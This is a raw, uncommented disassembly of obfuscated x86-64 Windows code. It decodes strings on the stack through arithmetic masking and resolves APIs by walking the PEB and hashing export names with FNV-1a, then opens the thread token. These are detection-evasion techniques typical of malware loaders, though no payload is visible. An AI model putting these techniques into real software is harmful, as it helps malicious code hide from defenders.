movzx eax, cl
and al, 0xe1
add al, al
sub cl, al
sub cl, 0x46
mov byte [rbp - 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0xe2
add al, al
sub cl, al
sub cl, 0x45
mov byte [rbp - 0x2f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xe3
add al, al
sub cl, al
sub cl, 0x44
mov byte [rbp - 0x2e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xe4
add al, al
sub cl, al
sub cl, 0x43
mov byte [rbp - 0x2d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xe5
add al, al
sub cl, al
sub cl, 0x42
mov byte [rbp - 0x2c], cl
mov ecx, r11d
movzx eax, r11b
and al, 0xe6
add al, al
sub cl, al
sub cl, 0x41
mov byte [rbp - 0x2b], cl
movzx eax, r9b
mov ecx, eax
and al, 0xe7
add al, al
sub cl, al
sub cl, 0x40
mov byte [rbp - 0x2a], cl
mov al, 0x7b
movzx ecx, al
movzx eax, cl
and al, 0xe8
add al, al
sub cl, al
sub cl, 0x3f
mov byte [rbp - 0x29], cl
mov al, 0xce
movzx ecx, al
movzx eax, cl
and al, 0xe9
add al, al
sub cl, al
sub cl, 0x3e
mov byte [rbp - 0x28], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
sub cl, 0x3d
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
sub cl, 0x3c
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0xec
add al, al
sub cl, al
sub cl, 0x3b
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
sub cl, 0x3a
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0xee
add al, al
sub cl, al
sub cl, 0x39
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0xef
add al, al
sub cl, al
sub cl, 0x38
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0xf0
add al, al
sub cl, al
sub cl, 0x37
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0xf1
add al, al
sub cl, al
sub cl, 0x36
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0xf2
add al, al
sub cl, al
sub cl, 0x35
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0xf3
add al, al
sub cl, al
sub cl, 0x34
mov byte [rbp - 0x1e], cl
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0xf4
add al, al
sub cl, al
sub cl, 0x33
mov byte [rbp - 0x1d], cl
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
sub cl, 0x32
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0xf6
add al, al
sub cl, al
sub cl, 0x31
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
sub cl, dil
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
movzx eax, cl
and al, 0xf8
add al, al
sub cl, al
sub cl, 0x2f
mov byte [rbp - 0x19], cl
movzx ecx, byte [rbp - 0x18]
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
sub cl, r15b
mov byte [rbp - 0x18], cl
movzx ecx, byte [rbp - 0x40]
movzx eax, cl
and al, 0xfa
add al, al
sub cl, al
sub cl, r13b
mov byte [rbp - 0x17], cl
movzx ecx, byte [rbp - 0x16]
mov eax, ecx
movabs rdx, 0xeee477e74c044dfb
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x27
mov byte [rbp - 0x16], cl
lea rcx, [rbp - 0x30]
call rbx
mov al, 0xf5
mov r8b, 0xfd
mov r9b, 0xee
mov r10b, 0xf0
mov r11b, 0xe2
mov bl, 0xf6
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x23], rcx
mov dword [rbp - 0x1b], ecx
movzx edx, al
movzx eax, dl
and al, 0x73
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x74
add al, al
sub cl, al
add cl, 0x4f
mov byte [rbp - 0x2f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x75
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x76
add al, al
sub cl, al
add cl, 0x51
mov byte [rbp - 0x2d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x77
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, bl
movzx eax, cl
and al, 0x78
add al, al
sub cl, al
add cl, 0x53
mov byte [rbp - 0x2b], cl
mov al, 0x21
movzx edx, al
movzx eax, dl
and al, 0x79
mov ebx, 0x2a
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx eax, r13b
mov ecx, eax
and al, 0x7a
add al, al
sub cl, al
add cl, 0x55
mov byte [rbp - 0x29], cl
mov al, 0x28
movzx edx, al
movzx eax, dl
and al, 0x7b
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
mov al, 0xf5
movzx ecx, al
movzx eax, cl
and al, 0x7c
add al, al
sub cl, al
add cl, 0x57
mov byte [rbp - 0x27], cl
mov al, 0xec
movzx edx, al
movzx eax, dl
and al, 0x7d
mov ecx, r14d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x26], cl
mov al, 0xef
movzx ecx, al
movzx eax, cl
and al, 0x7e
add al, al
sub cl, al
add cl, 0x59
mov byte [rbp - 0x25], cl
mov al, 0x5a
movzx edx, al
movzx eax, dl
and al, 0x7f
mov ecx, r13d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x24], cl
mov r8, qword [rbp - 0x40]
movzx ecx, r8b
movzx eax, cl
and al, 0x80
add al, al
sub cl, al
add cl, 0x5b
mov byte [rbp - 0x23], cl
movzx edx, byte [rbp - 0x22]
movzx eax, dl
and al, 0x81
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x82
add al, al
sub cl, al
add cl, 0x5d
mov byte [rbp - 0x21], cl
movzx edx, byte [rbp - 0x20]
movzx eax, dl
and al, 0x83
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x84
add al, al
sub cl, al
add cl, 0x5f
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0x85
sub dil, al
add dil, dil
add dil, cl
mov byte [rbp - 0x1e], dil
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
add cl, 0x61
mov byte [rbp - 0x1d], cl
movzx edx, byte [rbp - 0x1c]
movzx eax, dl
and al, 0x87
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x88
add al, al
sub cl, al
add cl, 0x63
mov byte [rbp - 0x1b], cl
movzx edx, byte [rbp - 0x1a]
movzx eax, dl
and al, 0x89
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
movzx eax, cl
and al, 0x8a
add al, al
sub cl, al
add cl, 0x65
mov byte [rbp - 0x19], cl
movzx edx, byte [rbp - 0x18]
movzx eax, dl
and al, 0x8b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x18], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x2eb3c791df5a988c
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x25
mov byte [rbp - 0x17], cl
lea rcx, [rbp - 0x30]
mov rdi, qword [rbp - 0x70]
call rdi
mov al, 0x99
mov dl, 0x95
mov r8b, 0x86
mov r9b, 0x9b
movzx r10d, dl
mov r11b, 0x9c
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x24], rcx
movzx ecx, al
movzx eax, cl
and al, r15b
add al, al
sub cl, al
sub cl, 0x14
mov byte [rbp - 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x2f
add al, al
sub cl, al
sub cl, 0x13
mov byte [rbp - 0x2f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x30
add al, al
sub cl, al
sub cl, 0x12
mov byte [rbp - 0x2e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x31
add al, al
sub cl, al
sub cl, 0x11
mov byte [rbp - 0x2d], cl
mov ecx, r10d
movzx eax, r10b
and al, 0x32
add al, al
sub cl, al
sub cl, 0x10
mov byte [rbp - 0x2c], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x33
add al, al
sub cl, al
sub cl, 0xf
mov byte [rbp - 0x2b], cl
mov al, 0x93
movzx ecx, al
movzx eax, cl
and al, 0x34
add al, al
sub cl, al
sub cl, 0xe
mov byte [rbp - 0x2a], cl
mov al, 0x45
movzx ecx, al
movzx eax, cl
and al, 0x35
add al, al
sub cl, al
sub cl, 0xd
mov byte [rbp - 0x29], cl
mov al, 0x90
movzx ecx, al
movzx eax, cl
and al, 0x36
add al, al
sub cl, al
sub cl, sil
mov byte [rbp - 0x28], cl
mov al, 0x99
movzx ecx, al
movzx eax, cl
and al, 0x37
add al, al
sub cl, al
sub cl, 0xb
mov byte [rbp - 0x27], cl
mov al, 0x96
movzx ecx, al
movzx eax, cl
and al, 0x38
add al, al
sub cl, al
sub cl, 0xa
mov byte [rbp - 0x26], cl
mov al, 0x7b
movzx ecx, al
movzx eax, cl
and al, 0x39
add al, al
sub cl, al
sub cl, 9
mov byte [rbp - 0x25], cl
mov rdx, qword [rbp - 0x70]
movzx ecx, dl
movzx eax, cl
and al, 0x3a
add al, al
sub cl, al
sub cl, 8
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x3b
add al, al
sub cl, al
sub cl, 7
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x3c
add al, al
sub cl, al
sub cl, 6
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x3d
add al, al
sub cl, al
sub cl, 5
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0x3e
add al, al
sub cl, al
sub cl, 4
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x3f
add al, al
sub cl, al
sub cl, 3
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0x40
add al, al
sub cl, al
sub cl, 2
mov byte [rbp - 0x1e], cl
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0x41
add al, al
sub cl, al
dec cl
mov byte [rbp - 0x1d], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0xbaa7d768d1df7f42
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x42
mov byte [rbp - 0x1c], cl
lea rcx, [rbp - 0x30]
call rdi
mov al, 0x3b
mov r8b, 0x20
mov r9b, 0x34
mov r10b, 0x39
mov r11b, 0x25
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x23], rcx
mov dword [rbp - 0x1b], ecx
mov word [rbp - 0x17], cx
movzx edx, al
movzx eax, dl
and al, 0x4a
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
add cl, 0x45
mov byte [rbp - 0x2f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x4c
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x4d
add al, al
sub cl, al
add cl, 0x47
mov byte [rbp - 0x2d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x4e
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
mov al, 0x3d
movzx ecx, al
movzx eax, cl
and al, 0x4f
add al, al
sub cl, al
add cl, 0x49
mov byte [rbp - 0x2b], cl
mov al, 0x69
movzx edx, al
movzx eax, dl
and al, 0x50
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
mov al, 0x69
movzx ecx, al
movzx eax, cl
and al, 0x51
add al, al
sub cl, al
add cl, 0x4b
mov byte [rbp - 0x29], cl
mov al, 0x66
movzx edx, al
movzx eax, dl
and al, 0x52
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx eax, r10b
mov ecx, eax
and al, 0x53
add al, al
sub cl, al
add cl, 0x4d
mov byte [rbp - 0x27], cl
mov al, 0x26
movzx ecx, al
movzx eax, cl
and al, 0x54
mov edx, 0x27
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp - 0x26], dl
mov al, 0x27
movzx ecx, al
movzx eax, cl
and al, 0x55
add al, al
sub cl, al
add cl, 0x4f
mov byte [rbp - 0x25], cl
mov al, 0x50
movzx edx, al
movzx eax, dl
and al, 0x56
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x24], cl
mov r8, qword [rbp - 0x70]
movzx ecx, r8b
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
add cl, 0x51
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x58
mov edx, 0x29
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp - 0x22], dl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x59
add al, al
sub cl, al
add cl, 0x53
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0x5a
sub bl, al
add bl, bl
add bl, cl
mov byte [rbp - 0x20], bl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x5b
add al, al
sub cl, al
add cl, 0x55
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0x5c
sub r12b, al
add r12b, r12b
add r12b, cl
mov byte [rbp - 0x1e], r12b
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0x5d
add al, al
sub cl, al
add cl, 0x57
mov byte [rbp - 0x1d], cl
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0x5e
sub r14b, al
add r14b, r14b
add r14b, cl
mov byte [rbp - 0x1c], r14b
movzx ecx, r8b
movzx eax, cl
and al, 0x5f
add al, al
sub cl, al
add cl, 0x59
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0x60
sub r13b, al
add r13b, r13b
add r13b, cl
mov byte [rbp - 0x1a], r13b
movzx ecx, byte [rbp - 0x19]
movzx eax, cl
and al, 0x61
add al, al
sub cl, al
add cl, 0x5b
mov byte [rbp - 0x19], cl
movzx ecx, byte [rbp - 0x18]
movzx eax, cl
and al, 0x62
sub r15b, al
add r15b, r15b
add r15b, cl
mov byte [rbp - 0x18], r15b
movzx ecx, r8b
movzx eax, cl
and al, 0x63
add al, al
sub cl, al
add cl, 0x5d
mov byte [rbp - 0x17], cl
movzx edx, byte [rbp - 0x16]
movzx eax, dl
and al, 0x64
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x16], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x2359c353869b8965
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 6
mov byte [rbp - 0x15], cl
lea rcx, [rbp - 0x30]
call rdi
mov al, 0x7e
mov r8b, 2
mov r9b, 0x73
mov r10b, 0xb9
mov r11b, 0x74
mov bl, 0x7d
mov r14b, 0x72
mov r15b, 0x87
xorps xmm0, xmm0
xor r12d, r12d
movups xmmword [rbp - 0x28], xmm0
mov dword [rbp - 0x18], r12d
movzx edx, al
movzx eax, dl
and al, 0x42
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x43
add al, al
sub cl, al
add cl, 0x75
mov byte [rbp - 0x2f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x44
mov ecx, 0x3b
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x45
add al, al
sub cl, al
add cl, 0x77
mov byte [rbp - 0x2d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x46
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, bl
movzx eax, cl
and al, 0x47
add al, al
sub cl, al
add cl, 0x79
mov byte [rbp - 0x2b], cl
movzx edx, r14b
movzx eax, dl
and al, 0x48
mov ecx, 0x3d
mov dword [rbp - 0x68], ecx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x49
add al, al
sub cl, al
add cl, 0x7b
mov byte [rbp - 0x29], cl
movd eax, xmm0
movzx edx, al
movzx eax, dl
and al, 0x4a
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
add cl, bl
mov byte [rbp - 0x27], cl
movzx edx, byte [rbp - 0x26]
movzx eax, dl
and al, 0x4c
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0x4d
add al, al
sub cl, al
add cl, 0x7f
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0x4e
add al, al
sub cl, al
add cl, 0x80
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x4f
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x50
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x51
add al, al
sub cl, al
sub cl, bl
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0x52
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x53
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0x54
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rbp - 0x1e], cl
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0x55
add al, al
sub cl, al
sub cl, 0x79
mov byte [rbp - 0x1d], cl
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0x56
add al, al
sub cl, al
sub cl, 0x78
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0x58
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
movzx eax, cl
and al, 0x59
add al, al
sub cl, al
sub cl, 0x75
mov byte [rbp - 0x19], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x5a
add al, al
sub cl, al
sub cl, r11b
mov byte [rbp - 0x18], cl
movzx ecx, byte [rbp - 0x17]
movzx eax, cl
and al, 0x5b
add al, al
sub cl, al
sub cl, r9b
mov byte [rbp - 0x17], cl
movzx ecx, byte [rbp - 0x16]
movzx eax, cl
and al, 0x5c
add al, al
sub cl, al
sub cl, r14b
mov byte [rbp - 0x16], cl
movzx ecx, byte [rbp - 0x15]
movzx eax, cl
and al, 0x5d
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0x15], cl
movzx ecx, r12b
mov eax, ecx
movabs rdx, 0x7a88f431d409c75e
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x32
mov byte [rbp - 0x14], cl
lea rcx, [rbp - 0x30]
call rdi
mov al, 0xeb
mov r8b, 0xf9
mov r9b, 0xfd
mov r10b, 0xe2
mov r11b, 0xe0
mov bl, 0xf2
mov r14b, 0x2a
mov r15b, 0xf3
mov r12b, 0xea
mov r13b, 0xed
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x25], rcx
mov dword [rbp - 0x1d], ecx
mov word [rbp - 0x19], cx
movzx edx, al
movzx eax, dl
and al, 0x53
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x54
add al, al
sub cl, al
add cl, 0xf
mov byte [rbp - 0x2f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x55
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x56
add al, al
sub cl, al
add cl, 0x11
mov byte [rbp - 0x2d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x57
mov ecx, 9
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, bl
movzx eax, cl
and al, 0x58
add al, al
sub cl, al
add cl, 0x13
mov byte [rbp - 0x2b], cl
movzx edx, r14b
movzx eax, dl
and al, 0x59
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x5a
add al, al
sub cl, al
add cl, 0x15
mov byte [rbp - 0x29], cl
movzx edx, r12b
movzx eax, dl
and al, 0x5b
mov ecx, 0xb
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x5c
add al, al
sub cl, al
add cl, 0x17
mov byte [rbp - 0x27], cl
mov al, 0x18
movzx ecx, al
movzx eax, cl
and al, 0x5d
sub sil, al
add sil, sil
add sil, cl
mov byte [rbp - 0x26], sil
mov r8, qword [rbp - 0x70]
movzx ecx, r8b
movzx eax, cl
and al, 0x5e
add al, al
sub cl, al
add cl, 0x19
mov byte [rbp - 0x25], cl
movzx edx, byte [rbp - 0x24]
movzx eax, dl
and al, 0x5f
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x60
add al, al
sub cl, al
add cl, 0x1b
mov byte [rbp - 0x23], cl
movzx edx, byte [rbp - 0x22]
movzx eax, dl
and al, 0x61
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x62
add al, al
sub cl, al
add cl, 0x1d
mov byte [rbp - 0x21], cl
movzx edx, byte [rbp - 0x20]
movzx eax, dl
and al, 0x63
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x64
add al, al
sub cl, al
add cl, 0x1f
mov byte [rbp - 0x1f], cl
movzx edx, byte [rbp - 0x1e]
movzx eax, dl
and al, 0x65
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x66
add al, al
sub cl, al
add cl, 0x21
mov byte [rbp - 0x1d], cl
movzx edx, byte [rbp - 0x1c]
movzx eax, dl
and al, 0x67
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0x68
add al, al
sub cl, al
add cl, 0x23
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0x69
mov edx, sendto
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp - 0x1a], dl
movzx ecx, r8b
movzx eax, cl
and al, 0x6a
add al, al
sub cl, al
add cl, 0x25
mov byte [rbp - 0x19], cl
movzx edx, byte [rbp - 0x18]
movzx eax, dl
and al, 0x6b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x18], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0xf8a55dbcf7877b6c
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x45
mov byte [rbp - 0x17], cl
lea rcx, [rbp - 0x30]
call rdi
xor edi, edi
mov r12d, edi
mov r15d, 0xa86c23a9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
cmp qword [rax + 0x30], rdi
je 0x14001517a
cmp word [rax + 0x48], di
je 0x14001517a
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r12d, r12d
je 0x140015003
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xce75ede6
cmp r9, r11
je 0x140014ffa
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140014fd0
cmp r10d, r12d
jne 0x14001517a
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov rdx, qword [rcx + rbx + 0x88]
mov r8, rdx
shr r8, 0x20
mov qword [rbp - 0x40], r8
mov r14d, edx
add r14, rbx
cmp r14, rbx
je 0x14001517a
mov esi, dword [r14 + 0x18]
test esi, esi
je 0x14001517a
mov r9d, dword [r14 + 0x1c]
add r9, rbx
mov qword [rbp - 0x48], r9
mov ecx, dword [r14 + 0x24]
add rcx, rbx
mov qword [rbp - 0x58], rcx
mov r11d, dword [r14 + 0x20]
dec esi
movzx ecx, word [rcx + rsi*2]
mov r10d, dword [r9 + rcx*4]
add r10, rbx
mov qword [rbp - 0x70], r10
lea rcx, [r11 + rsi*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
cmp r10, r14
jbe 0x140015082
lea rcx, [r8 + r14]
cmp r10, rcx
jae 0x140015082
mov r13b, 1
jmp 0x140015085
xor r13b, r13b
mov r11d, 0xce75ede6
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400150cb
nop word [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400150a0
cmp r11d, r15d
je 0x1400150f0
test esi, esi
mov r8, qword [rbp - 0x40]
mov r9, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x58]
mov r11d, dword [r14 + 0x20]
jne 0x140015053
mov rax, qword [rax]
jmp 0x140014f80
test r13b, r13b
je 0x140015182
mov r12d, 0xce75ede6
mov r15d, r12d
movzx edx, byte [r10]
cmp dl, 0x2e
je 0x140015137
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r12d
imul r12d, ecx, 0x1000193
inc r10
movzx edx, byte [r10]
cmp dl, 0x2e
jne 0x140015110
inc r10
movzx edx, byte [r10]
test dl, dl
je 0x140015169
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
lea r10, [r10 + 1]
movzx edx, byte [r10]
test dl, dl
jne 0x140015142
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140014f80
mov dword [rbp - 0x40], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea r9, [rbp - 0x38]
xor r8d, r8d
lea edx, [r8 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x1400151d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
